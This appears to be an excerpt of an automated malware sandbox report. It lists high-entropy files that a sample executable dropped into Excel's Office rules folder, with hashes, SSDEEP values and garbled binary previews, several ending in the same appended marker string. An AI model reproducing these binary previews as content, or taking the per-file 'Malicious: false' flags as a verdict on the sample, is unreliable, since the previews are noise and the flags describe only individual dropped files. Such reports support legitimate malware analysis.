Preview:	<?xml!.u&...\|.NC.Wdi...s..[.K...]V.hh>]......B..Wf.....c....D.V<.`.H..........`....y.p0yd...p....,5.....!....LN..tCb.b...P....:... }.wb......>,..h..?./..t.T.H.P.U..!J...q..I.3K..l.\|Q.....%.c.S.Z..L..-4r..1.....A.@.F.3.S.u..3.[........p...x2d..2G....Y.fe........!....,)A....mCo.<.L}M.k.=....>M.Xm..K.{A...Zy..`........H...?o..g.......%.kJ8...~v.-.0K.G#;.[.U........m.a....b.C.w....yK/..,........f...z.^...r\|.V~@i....'}0)...Tt.....D.H.,..N^...N\!..@.d...G:..I....6..;hK\...v.e....0....s.Y.f.>.Z(~.m....?.X..4..IyG..g..[.B.....?..r-/.......BNCl=.m.Fg....I.......v. f.3.....F>[KX....!..=7..8.....r..t;.y...5.\..G,.OL.C*.....I.[..E3\\|.o8.z.O.T...A;3........l.T..w..0..x.Xe.0:."LX.w...._E..,.N16..3x....v..^...>..A..m..G..+.I.\.t....T...\|....3.e.b.(.)...=.o.CU0.........w..9.....6.0.o...j....MX...!. ~y:t.ym.F..Cw..=.j.b.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.799640906109212
Encrypted:	false
SSDEEP:	24:lQZhOyXvlwlnfU/drLKeeU5XaOePnzXAOG0r8VbD:WTmRs/9LAtOczwOG0r8FD
MD5:	60B8300DA7D3AD3F6C8699E6BDEDEC3D
SHA1:	9B3629814DF32DDA3C04AF3149EAA36AE5638555
SHA-256:	6FEC66A64C105F4754FB5AD1EA56CB291B47789062A713909408353F9D114032
SHA-512:	3596DEAD019CAFA86F140CEBAC8BA3892C513E0A1EAA4037FC01FC2970C700395DE2CB5860124328A3C115BCB128952E2A3BF4742E10F196F70986357368916E
Malicious:	false
Preview:	<?xml...mF.F..2H.......'...V.?^.%R...M.\|&{.-}..+?6p,}!.q......(.u..M.P.b.......]..j....I.V..y..m......E...._.z.....AC....)=....y.......oO.)....v.b.N.#......\|..;<.&......:E.P..uE.........N~.].].[:l.M.I`...-...bzb$...o@#...y.O.#..ynQ1J...XH..$.....r...Ufji....I......y.h........3...x#/%x..4.$......;.jB.8...-1:..m"V..-@..O.a.P....:..v...L..XA.....iJCW:=.V..@%...........w...........?-5&^.j.Cn!n..u..K....!fI.I#\>H_.7..k.0.yC/.V 3.`G..T.>...!.G......jG]..N......@....[...+N...Q......8.x.n.....\..x.0Q..P.".....K7.J...E.({.o..3.m..m.9.wh$..x......=.@y......`.....k-.GH.r.........".Rm.'.#.{.k..............!.l>.....e<sZ.....Y.%.1.3...w?Q..R.Q.I....V...N...<.t.4.3.5..y...Pa.B..6l.,W...........2....w.3.....x6...Xa...."!rQ...#.L8...0.m^.0.......9.).K.nM...]8z.4...Q.8..G..Q8h!n....Y.bq....x..'rs....DTS....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.8083235922503444
Encrypted:	false
SSDEEP:	24:6cOayRECpRkcJdXCaBuRbdleOygQdheBVbD:3yhk4dSUQx1ygQPeBFD
MD5:	D15CBFA7F8172D7B943F86A3EC49F117
SHA1:	A6FB2E6F17EFBDAAC6B11DCB178120ACE4DF1637
SHA-256:	48DB9F707CE71EDCB9A2610BE7EE14B0D709FD2B30D05B6A2A5FA88E940E7A6E
SHA-512:	2CA7477CB57B3214EC38410D6DD69D14E7578A1C1603DA105773A4FD4DACFD04185D765DB98C56AE26EBDB7DADF465C82F259F71202CAE7EB676C4EC2B1A1954
Malicious:	false
Preview:	<?xml...k..1HF..{....k........H.o]..AI.L...........].6.H..e.>...T......;...l<.9.../...3...B.O..m...X.NE$....9.q..NcH....p..m....z...B..D)....1...............z6.zU.o1.!...>)w."....1.....(...K.Bf..z.$.Z...1....J..=..M.j...ay.IByw...#..\|.<.+C.E.NS...;w.y..L.&.....S..>1i..I.....hb..ne......t..]...4.m.Y".p.../..:]v1uyp.A.S..='><.G.......+o.3._2Kqg.s..-.../.Br.:.....T.....r>..iE....1....S.f. ...O....F.e./[G.>..a._3..\.J..E....g.J.2[..........w.?,.EC.>..w..kd8._.oPS...\|?....tr....L+d...k.#s...0...\.Ql...A@].....`.......ZXa,...i8...{.L.B.E...}..5..t)...4..@.<.........l..e.d2.....\.7JJ.[...^...b.N?s..T.J.....b.`.&.......^...n..JT..@..Sc..Y...`$.B....J...&#..x.\|/..3.......u....8..fa..U8}Q..}~Z:.=Pdv.b.n'..&.eh..{z..p..q.........u2r...(...b..K..ae0R.]...,j7...5.3.WdE....(.CHQ......)l@.FM..A.IXMHC._hy...Y.8..{.).EKitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.793945529127363
Encrypted:	false
SSDEEP:	24:AlUzlx97abLZYEOrofvvuqjn/4o9bL78+ePVVDUiH2iNVbD:cSmO0fvzjn/X9bL78+ezDDWiNFD
MD5:	529238B877AD0D3F1D2FE650D936880F
SHA1:	B7A1E3648CC5AA798AF832DAF594751396655F27
SHA-256:	7B163EBB254D36E5ABB2BB35D2FC6D3A2DC966B3CC865631FF5A61DD8489C80E
SHA-512:	7900CCBE1EB353363C5072FE6E7FAA038E7DFFBDEE8170BCB1D7A350F0801F80681975AC94296C71954E9D0B1DE63BEE1F3FAF3B8C3879DE653AEBED8A1B7B8F
Malicious:	false
Preview:	<?xml..\[N...FUio!..&.J....,.l./=..Tc%$..>.>.7..3.....4..r.a.6^.g<.LF..m..>....d.6@.}@6..6.{\z.-..4..(.C(.l{...}.L...fLN..8....<..@I.&..N.S.q.65.f.....V.>kZ...QJ.I..Xn.........v!v..%.-X.'2<.0.;."Aj.?ec.....b..<.... ......q.../GK...'..}v5._...w..Y.t.f"_....`..J..X1!...:...vm.gr.f.S\|@..ro...gU......9.<o.;j.`M,<O........p..L......\(..E..m...M..m.#.Y}.`...;Y.iUus.._...?..N.Z4....l..(:b]...Nh...L...[.P..).a..M...UZk....x.h....4.c../.K...0.M......a...02@._...'....}..W.j....j.......W...n.C....S..C.1.a.R`.>.{...u..j..Y..A.....{!_.~..z..@:.)b.k..o62}n.a.'.T..>"B.H..:...7..dM....l~.mR11.. ..0.E.".b.h.Ac.......\.4.zZ.#a.v.x.e..>..c..[.^.H.....$..s1]t..3..Sa.;..!....qC.d..Z....=G..-..?..J.k..C.w.<Ph:..j.....m0.H.....N...CV.u...T....J..3..1i-b.V..U;.....C.~..E....R..c..{..[.J5......! j..H.&....7C..O...`...i1..~..D.i..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.783640601807681
Encrypted:	false
SSDEEP:	24:jpBLRF9MX+I70izToaznxW1NAJAfcyLriReIaQNIj9/VbD:jjLFCvc+x6AJAfJriRXaQ+tFD
MD5:	9E18BE90AD022A66C373CA30E97EEB7E
SHA1:	6BC992449AF26292B26C324A8D644B3E813937FE
SHA-256:	1F6BC34C57A6FEE81324CF7B43FAF9FE11E486DF8FB6B0DBF8930AC8D28DFA72
SHA-512:	2444CD84EE949FA6C3C0EB22265DF9F48FB3D5E210B1850C1F9D93E194CB11D0E2314A3C7B23386ACA78C9D4DF7AED3BBB3B7D7AAFB092316A2E2298A8B5CCA6
Malicious:	false
Preview:	<?xml[q.qeMYgu....%..i.J.^.~......'XiG`.b...2.c.{2.we=.:.x...3..\X.x...[Q.bRkX.......y3......r....0..[h.l..Z...is8.,.....m...I.c.,..}~z....."..H.SG.Z.....:.;D...-h.c..E.U..N....!......O.O.9.n.j.{...p[^iJ...;.W3....V.].w.d...?1.i.-F8.d...J..t:........#.).._.@:.".m/.0.h.......`..........G/CR....K....h [...zh,o..U....i...."...:7&G`..+..QT..Ph.......#...eP~\......U..gh.................X<...a...w6.IT.....HzQF.HAI.p.+..J......$.......HO..c.....g.5....}.I...LmR.A.".........^..1c.P.ah....B...YD..^W.F.{.1:....g..2..@k...U..9......kT...+;c+..If.[K.C.l.0.....s....\U...3....3}.4.x/...,..Wi-.t...q..g<...Xx.."..N..n../.E....E..a..-...m..'`s(.....F.r.......Fz.A..G.g~... +z.......w.Mr...V...(. ."L....Nez\|.6..m.Z+..I.~.W.Io.V..'.#..Q..^......=..g.C...VT.D.......%b\T....p.c....?t...E.ek....}.'..Dnj[{l.9..puT...k...j]...Ol7<.......5Cb.....c..y....o80.8.<.J.g.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.877284181060366
Encrypted:	false
SSDEEP:	24:QtNKMAfl3u4bsyQTWidkxyBVuI/ao5RCpNVeb5YVsgAbhhThkRo3fCZuwSVFpVbD:4NKJd5syQaNABVuI/rCpbHdqhlWu36ZI
MD5:	7CE49AC2B9EF2E7A42905EBB15EDCE4F
SHA1:	BC2394FFA29FA4724C7B05C96939BCE275FC1229
SHA-256:	B3CBAFB1D857BA4890E747112C53F3821D1C52DDDE24F1FE393DBA3ED7E7ADBC
SHA-512:	C878070B490265E46089CFBE3A85961936E7B6998138BC8CB2A608939CAA67C23C1337FEF24847A6EADF9E97EBE152D022684433F23098948B831A4ECC30F108
Malicious:	false
Preview:	<?xml..C..e..@qk.....KBD.z.q.$....@.5.R..&..?.@(/......MM.w4...;..=H..)....._Z.Q.....#.z...7r.\|.K..V.#.]..GB`qC.I..EZ.:G".+.fnI...B...H....N.X8Y...'B-.I.9=.....s...........8...c......pQ....I..eF8y{%.!w..n....c..w.....~..S.F.E..?_[o.....k..r....~-...u....WS.N..2.P..\|..v..$ .{.qR.Q.X(. ..`;......v2 mS..Z.<1..nd..h.H.(..`.......nf..QL.........=..=va.6<...GK7#yM...'.ss........H.>..X....v.U..j#...Py.>,./E`V..M........!.3.~)..4.:.I.....".H..a.fb..........L..u4...."J0.G..e`Z5.%:.i.pb#P...M.....f.0m..Iqr.....OM<.....G.;..7...w.y%....".l...1K...!.B.WE.+G:..MR.#..i.&wn~NJ..M..C.......Xc.mBK.E....i....L7...i.._.cY..5n..Pcr.0.a.y.Fk]H.y... ..`ph`R.I..^,.o$...P.._F7.<..B..0.#...!."\w..D!.Y......l....S....+C....R<2.....x......R..w.H.z.i,y.M....1..iY.>.[ Z.........X.n......BOi.9@M......)\ ..bW.6.............ox-..D...o.Y.M...s.$.....wLZ..\|.RV.....J......re...N..7_.R..1...t.......y.y..a.w.+.ui.......I...Q..v......9....Z.;...e....F.......p.z......D.c..8..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.859236718075416
Encrypted:	false
SSDEEP:	24:M5LhNj35+YMiAseKfAbCyRXGdhVUBiN+6gVgkny/kGtSuN6fyU8ceSkI2rVbD:G/j519AsnfAbClh9N3n9vtafGceS5QFD
MD5:	41237452DD902B4A994F384DEEF502A9
SHA1:	06487BC9BC2008B2EE38E4E53DB9A7B7A3F8737E
SHA-256:	1A1D8CDFC7E685A9600D6A5337F92B384546751F2B22FAA7FEFBB35AFF48417E
SHA-512:	0FE125FEEF9C5A9772F63C77188EC96907941E7E6E4B79F8F5CE7F42876D6C92A71AED8912425B85700D3EE555B62A33EEA8060A93BC5B75146C60BF4D71C7C6
Malicious:	false
Preview:	<?xmlK...e._<O..%.Z..\|..N%.x(...M...n...T....#...oF?..j<n{\......c.....&....+.m.....Dl.Q.-..)....S.Ph>l...J.....#.4.l.m..)....t.I...0.q...^.......S.L.2..aI.....o......h....k .4.q.w...7.5...Q~0.D\G....[..I.3.<..Q/c.....-...s.;..Z.@W.G.)..:..X)..b9.m..g...Q.!..,..7.(..(..-d..7.1......g.......3$..l.<.]...0.{...Y...(k...ugus..$1.@.4...O..."..Q..X...K.H>......!.W..K. yX...~.e!K@'..[..20H1.q.._..=...Q...X.............k.I...Q..F...4..u..5.B.....xn...9N.V.....O.+.J+...8\V.r...5.y^.DPq.!..+.....J.w.~".R...CJ.k.\.....>..:.@...@...g`c.x..z'aT}{`x9.......D`......h..>...f)...dZx.".H../......\Q...:7..../0%....a...d}L.q.7.AIx<W...D..GD.....f}8...s.p:O.l....n;..@..w.....L......LF.p[..L...g...,74Q....J..e.A.....L...Q{.=.:.,j..m+.....T....(...\|......3.Z.......eF.(?..(,.9....d+..1...d. .1..p.&..nm......Zm(\|#.8.?$8..is.W.......L\|..nY...m...&T.%5$A.....a/.6P7...`3yv.}W4."..UGL.C...{.t......u.\|0.4.......T......@.4....,-...s<......:.....)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.7990731052760305
Encrypted:	false
SSDEEP:	24:kwJ+AJ79l6WzKo4BKfRYojkKuVG4gW+TVbD:L+A/lVNrpjkKuVGGCFD
MD5:	B1DCAB677A5C35F2795591489DCE8917
SHA1:	46989F4B49D2C4E64FED72EBEFDE10476706F193
SHA-256:	16CB99281004942E250601E2CDEABF7537A19BF0AFD9D3AC2E0F32397215F402
SHA-512:	3055E7B262B54E18BF275AB7A469FCD12C49E15E17685B868250FC4138967064D4AB60ECAFC93A1CD80B8DFD5F3A926888958B90F3C08D5086F764A70609DD3B
Malicious:	false
Preview:	<?xmlH"7..1.;.?v..Ww.!c.......J.m)...m.zE.zr.=.j./...)..}."'+?U..K>.Iv.`.#.er:z.V.p..gu.B.Je.c..Un6..I......ygh.)l..C..g.>..+.l...8.-..K.f.)....Tf.A.?{....}u.`........;.._..R\|.....i.S..:.8e.......N.7:H...5k...ei..@....a..&.OU;n...;.R.s........y,@u}..~..............I.V..u..t.F...B..........%E4...q.K.'.E..._..b..(o..<m...?.4..(d[...'..^.U&5.).7..D.../B.y.....wD"#.ID.>.....R...{a..Ipo=y...hM. .......i...>.r6..8yX.m.1.SH.a..2l..P...&kd...nfPE.cU...5...lB...>.VKC......6.2i>U.)~.q.f8[j5.)`....AP...?N.o#.y..%3........4P.Kd.^.ZBPq....:}.%..J.#=1..(.5.;,..X....Fb.6O?..&m..2..]....d..m...Q..A..$.n..9.9...K.e....:........QY./...wt6....%.......?.....&_.s.N.i<x.....S..L..I.W..7...,..Xn....i........e.f..E]D...0r^.......]0k...Nh..F..V7P.N..OH..8..4.4r.......3.a.(...3..eg.Y..c...z.l...t.. y......T.-Pi.uhA.....fR.m.nb....[.....-8v.@..mEC^....,..M.l..f...j..l....6.N..~..=?..{...g.1........29!9.......Q.F.]..wy.j.!^.2l.....,.....D..wwitkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.830156877943175
Encrypted:	false
SSDEEP:	24:TvtwVyHRQHH4z5vjk5z0FsXnBT3T4g//iFyC9+TqXsKb5zRVbD:TvtXW8azYsVj48McTqXjVRFD
MD5:	A827618CB0531F48C92E252EBDC1AD17
SHA1:	C453A5ECE0D3C5EC360C1C8E1540ACB4A5EBD0ED
SHA-256:	C8D23B93E22D13126BA6044028AB802AE27085CE91E58D05221AF31E9F76C4C0
SHA-512:	3A2A20B44C436D2C62E2EEE36DC7B39CA61A92290BAB3C2E78EBBBEF25E5BF8EDB628D78898D6E8C31BD053CDE43DBF759450B5E63BC0509CFB66A5949E8FB8F
Malicious:	false
Preview:	<?xml.8;...a.z...,........'v..V.o..... ......O...b<. f..I...q......yekx/..."..I.B.v:.r..y...k.L..}.{0}]......;..,tc.t...u........F. >4oA.h7DV..%?........Y...U........t?p.fl..9t&..pA}.{.~...}..7...Z...c.O.Ra...+I$...j..o.f..>Ew......b.(.w0....3.....Q.4@..,.o.._.....3rW.h_m....#3$J....?x.......uXY.T..l..c)Y.]......vZX.N2B}.J#vv.6...~..z.s....?...;'.....$..h...&.o...)a$f...i...7.w......2^.},.i...f....+S..W.-b]9$..\F.....(..^J.N.R;i......!:.G.m.Y..+..e....TV1..c.7.NP.....^>..?......Q..R...z.x.....0D3..t..).g.O....q.R....X.....'G.C.g.5....rJ..'iU.y...=..C..%.o7.n....\.+..D9'..h.{.....]Ia6...7...!/\....r...]...1e.E<..U8N}$.....MX.6.... Q:W6^..I....h..F.X6..eu.......b......u8..,.v..x..l.EPYP...L6.....pv.1..%...w...r..Z..m.<...-....w,ge.vB}..M.X.m.~.6N..3...&M..V..gC.,......`@.. \..y>S.U.S.9......=./I...6.`...B...?.H..*F5.R....Cu`"Q....$....... ....jUQ,.I..[........dG.2+<....o$4.G...S.c..^Ks~.`..ZC2g..Vz.....b....W......P.A9.....8x..,-...5.(.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.981207742149381
Encrypted:	false
SSDEEP:	192:zZPI8dX/oSdEp5p6N45I/2cFtn1lvXvEoW5kGehBzcU8eQz6wqhJxYYoJ0:z+8dX/dEp5sC62cFt19vEJ5kGehuhqR/
MD5:	400E9794399CB29B30057578A12FE5F5
SHA1:	ABDFB4150582B3066FE86492A0D3796B77EDB070
SHA-256:	B62F6266F4A42857E0A5FA76A229D63F1A1A99E4B16AB086AE8D2D417019DFBF
SHA-512:	FFDD2FD7642F2AF7E2932820D72113E1FC1F6390C5073FCEE898933191D1C83B1C510EF95FD662C9BF7EF07AD0887CF5E7D35094CDBC90FC1B4BF5A129583EF8
Malicious:	false
Preview:	<?xml..~..bG.P.j.j(.B#0.8.e..m.f....w6.3...X=.s.O..28...r.....%O.w...vp.x...T.e....r.X...cy..R.....l.Nx...A=...."..b..j6M\e9.i.>./...A3....b.u.T..H..~z_...cb...#..(.t.......t.X...~...6n..(q..X.[.. ..ap...h..6.7.a..%..h..jY..E`V8.E?..3BY..0N.j.E.H4....hA....ergDY4...0]}...!"..e..WUi..m.......U.e.....j......^..&.9>.a$.\|......Y7............._<.6O..BF.R.).......)c....A.`./.....wW......,"%.;C...1.Tn.#e.A.y(..'..?Mv.M..8...D....w.Z...+_..q....H...~....fM<...U.@Pn...U.x..h..z..>:.1.....l..'..T....w-T.F-.w.G...v.-.. FN....k.......2'....{[@...T,=U.0...1...9->t..!.....VQ......$....d.@."....].d....Sp......]..`..B...7.....6..T.....x>..........( e..%F-j.mmt/R.D..m..2.....@.$..z.3.Z.d..j......X.z.../.EtE...s...\=&m.I.=.w...d@TLlq...Ne'`..f=...J..C.3N.X=.QJ.!~q@(T...X>.&.ij...vV_.q.rNv..H$!.V8...{q........z.e0..D..g...Rc...qR.`..0...H.\|.lN.`G...{}G...@%....k6..G.H'.>...........Lq...[ ,_9..g....:9.I..(..D8\...?.3.R.......4....t..JC..n...7L.H....u.D.'.....R.SkY..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.9219359753192755
Encrypted:	false
SSDEEP:	48:/spPJmPiDaLQ/vqgp0lv/hPr/kvucR+j6etZV/6rSWpFD:8PJmakQ/CVl3F2ucG//6r/p9
MD5:	8F82F3221549339D4A7CA275DFAFFCB9
SHA1:	8C7727921C6369857B638F098FBE56DB6A2D7D50
SHA-256:	578F53182C856F585990DA0554835A4A04F3D2BE0B38D1C6D047136B40A44ECF
SHA-512:	793C28DF02DA9115310B42BF72373C811C5F7B09AF44DBF0AA71F956417D33E9DD831EDCC5F42571D3CFCEEEA6968684F8CD8CF01DD7551263865D07C38DD0F1
Malicious:	false
Preview:	<?xml.YF_.x..m}..M.O...~'GB...ln..4....D.c.<......].=....=......W...+v.@........@.Q.!.XM.[,.t.p.U...RCY....B..ro.Y0G..E....(q)....1.Rs}..o.....[.MeV....3RmH.[^...e.........R7 ).).Iy.......K.'.C..{e..D=..Y}.$&YTX.=<O.a...z...Ay...k.K.'i..?..Bb$>.~..p. .././.._..............(...~.,-.&.y..1A.=.R@......[3.h.\.T...TF....b0..07...v`CA........I\|...V..x.N......ER.d.1...'...I...df.4.\.v.J.s..'.PY....0.9X....S.g....T......:..P.;.a"\....X..N.....F>...2.....V.6q.....n-....9.W.H.......S.6.T\|./P.=.x.fw.n....o$..9..+.z@uM....bC....../K..`.[Q..V..h.p....@b..n...r.8..+...8#...a}.N.....i..h.<3.....}.L.t.W..f#..\|..K.rh.(...."...W.h...x....'.#......N%.~.j$B..{o..Q.>..R...}..T..!...=...5,:.k.~..DK7...~..tJK.:.{Y?........]E..L........TA...F<Z..G.,...,..iP..l.dO. ....xaT...t.Z.5.C...,t..!.I.....`...N......Crx.`0q....uSH.+.......i......@.bX.{W.-....0H...l..^... .k....w..:......>V.v..U.j.\|J.[Yg.~..{.'..#.M.`)...kMm...y..}.....!}'..#t.%.J.y.4M.R......P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.923201965502267
Encrypted:	false
SSDEEP:	48:jEtycrXC5NcoLrsVH/YqJexg0oQbt2oK/gBeXv6bU3SEWdlojjFD:jGycgcovyfYqJeW0oIHK/gBe8Uo4j9
MD5:	C36B3E81180E7B5B216DA67AF6A07770
SHA1:	DB80513DD4610764E09D83B41F9B2D598D350955
SHA-256:	24F0FFD9B942822F3A288E36F631F77969BCDDCABBD9C2EF9C4F876BA638C736
SHA-512:	A3AC4098F51AC7BE11A44607A7DE6BE6B294A418473F11B24E15B993F306ED7BB34E2559B6572780B5CBEDD21A703412FD3ED1E611D7D9DA8110228A60EF3F68
Malicious:	false
Preview:	<?xmlp\|..S.H..7....../.S&...&..2...C{.I.1x+;tWn..j2.O.....w...-_.......s..{U...").'.x.P.-)..AL.........r/.....?...)$...%\....v.L......0.<.K.e......F..........@!g.........}t4...^....l.~;.I.....[.......)Ph..m.u\|...=..[s-..Vf..D=.[/...8Fb..@"4_e.q"...GUe>h.&..T.IE.y.{;c.Up.._......of~.5)v.....B....h....d9r4....ArN..../...2....=..1V...1..#....V.k.p2\....L9.hm.3.lB...XJJ...A.#f..Z..A..CQ...}....c.....WO4[9~}1r.2..]@.S...\|.F.^....,H..3g.H.=.i.x;....MJa..n..qg....Rc..).##._."...5..1....A/ ..C.........3.tac..5.6.E.....P.Ozs..Yk7...h...Tm3t.f..q,5^i..A..g.....:...)...UMD......jk.^o.........\`_...E`>B....(%.;..fF..K[G...k.@;Q.NU.\......;.]2.{o.q...~....2..<.....C..t..Pi.7e}.%=M.4...w.t..h.!...)~.#Bb. Q...Q.4......r.J......h...d].....u.........TF..L...'c.B..3...%oje.(...FN..OO 3...].5i.7...>..(....w.L`+.g...R..:'..+8.........,@.e..>...R.....,...m...N....T.-.q9..%.U......r\.e..<.e7.h.rK9X.x2..l.#..R.Q.A..u....5CA....O.Z..JI..-FS..B...Jt.cr

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.800193693651716
Encrypted:	false
SSDEEP:	24:+twKkwdZnp3rO87+dgzYgy+888TGZbmPzsJPZ3JL4hvavc8fVbD:EXZ3rO8oQYd+888TGZezsp0ZsFD
MD5:	6717F791F4AB7F405B298F1235DF77B0
SHA1:	C94AF3220F25399DB80CD278DC27F97B4E73B630
SHA-256:	DF43B5284228AEFC9C92DFC770032A123D8E50DFD11E00CB7182F65126390847
SHA-512:	1A48DDF2D6C65B8D2B87CDCCBAF544B89AD2980771E6C9C6E7CAAE1BADCE7841A16887921748D6B06786D1F91870DAC690EDAC56D6FEF8CB0CA7E97629500235
Malicious:	false
Preview:	<?xml.H....3.H..?]... F....-..p.-5h.rLB9./.p{C.w.........P.4..]X..D.m......xN..o..!...X..T}.f...).]U.v..2%.Z...y%....B.M].gz.T.......z.....p..h.T.."..cE..yI..]-CL..g...p..~.. B.:/.a1......Bq<..qg`.D.p......ke.W..PfV.....<..u-s.w.%.{.k.R.......{...?B...r..C$.X.....:v1r.Su...[.....pi.jg9.~..q.fs...#....?4.._.....4."F....n.~at{.P..%.....so.gQ..?.\M.6.m^>e.G.Z.......g.....1...l.....j...E.].h....6`.#.!M.4dP.s..#.....].A.n....Z.aB......b,......(........v@.\|j=IWL3...vQ..n.V..#.T.>..j$B......y`."^......._.,.}]A.M&.l....6=...}..t.3N+..;.q..]...&.$ar.X....u.Be.g.R....%e.......=2.tve.<7...b..... .x<~P'..C.....D..ij. .....p]...+". .g..Ra.ZOB.....56J\|..s'{..=:...=:........(.Ogck.S.f...Bnr.S......(>~..}....M.l.....}.........2on.=.Z.P".j.6..........GCh.b.!.....v.\.X........u.f.N.f1.J.T.Lf..B...8...B......CK.7.h...7......s.T.....6Q......i.....;4.)y.)+K.p....n.nv..p.qq.g..E...KS..g.....q&.3^;S.'...&..J-Y..@.l.o..T.^.4.s.z6&..^8.o....QX.PX.....7.J9..,.<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.677270318135959
Encrypted:	false
SSDEEP:	12:IBdrnxJ32+MDhIE6DblcIC3Vl6yauNRJCgtB4gQSnVB9IobWPnYd9TFsVejVciik:mddJTMDhImT6y7VCgH4WSYFOcVbD
MD5:	B48117786A123A1565A909F947F35EB4
SHA1:	DDD3D6248D179EE07D534510422EA6FB8E9CCF42
SHA-256:	2D44221F74C05A56E963A4E4C763B0E40FAF66A8E2CA20133DD872834A2260B2
SHA-512:	6CAC02573FCA28D9FD29499088BACFEF04A693BCD231524161117BDFB9E221D9E00651FB7E133EF3E08396ED6806708A0711E56FBCBB3E250ECE730468F391F2
Malicious:	false
Preview:	<?xml.!V..n....8.z........p.G\|_.1#...Q...?.......n.=3.."..>....p.......1.........c./m5.yx)(^....;....y...L.0..r...P..<........Fp.!h.3..J<&l.n..y(.4D{.MI..&.)..l..p.i.[........g?.d..."...J...O.xT.N...........?..[..X...K..pKhv..@U.. .sG...&....o.0].......s......S..'..#<..4.)....B.........j....}.\........B.A..3..}.>..`x8'x...,..{.n.h.N..0.A=\|>...l.5....o...B..e.......#^..R..x(..l'.\...Ux.....>.T. ....R-......q.X..._dP,8.Q.R.F...=,..[...@G.E........v.q>R./Ta...%..{....~.....?.(.....2am....7.:....XU`.....b./uA..n.K.c..D.iX..K...E..e.o."wf?n=1.w........K.TE.6......?>.60..Q..5w..\|....6....D....Ce.u....j...S.m}..6$.....B#7...].<.^:......."j!..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.761041474142208
Encrypted:	false
SSDEEP:	24:7CQYnZVdXhHtDh2+MtN1HagzvoQldMNEiF9eNFTDVbD:m1nKBLHVzQQldMmNpDFD
MD5:	7FA1CD709537DB0BD0F7193467F87BA2
SHA1:	6B0AD1BFE9CF6E441368573CFA6F60E93FAF8CCF
SHA-256:	07F9719E89AFE798915F256939625346D5ECA7D295465F2F0E07A6E97718353B
SHA-512:	99DE6E5A223614D3EE6734BD09BE4E4CC53DD1F4E220EC662F8A8545DE7BA1BA99228E3DADF1FD1B5BCD938BDFAE2293C2F0881E194752203B9EFEB1164F597E
Malicious:	false
